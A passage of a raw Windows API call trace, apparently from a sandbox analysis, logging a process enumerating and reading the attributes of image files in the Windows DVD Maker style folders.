dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0245.206] GetLastError () returned 0x12 [0245.206] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.206] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.207] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.207] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.207] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.207] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0245.207] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.207] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0245.207] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1 [0245.207] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.207] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.234] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0245.235] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9315a0 [0245.235] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9315a0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9315a0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9315a0) returned 1 [0245.235] NtClose (Handle=0x1c0) returned 0x0 [0245.235] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.235] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.235] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.237] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.237] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.237] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.237] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ea0) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923118 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92df98 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923138 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e0a0 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923158 [0245.238] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e1a8 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xc00) returned 0x927508 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9309d8) returned 1 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923178 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e2b0 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923198 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e3b8 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.239] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.239] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9231b8 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e4c0 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9231d8 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e5c8 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9231f8 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e6d0 [0245.240] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.240] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.240] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923218 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e7d8 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923238 [0245.241] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92e8e0 [0245.241] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.241] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, 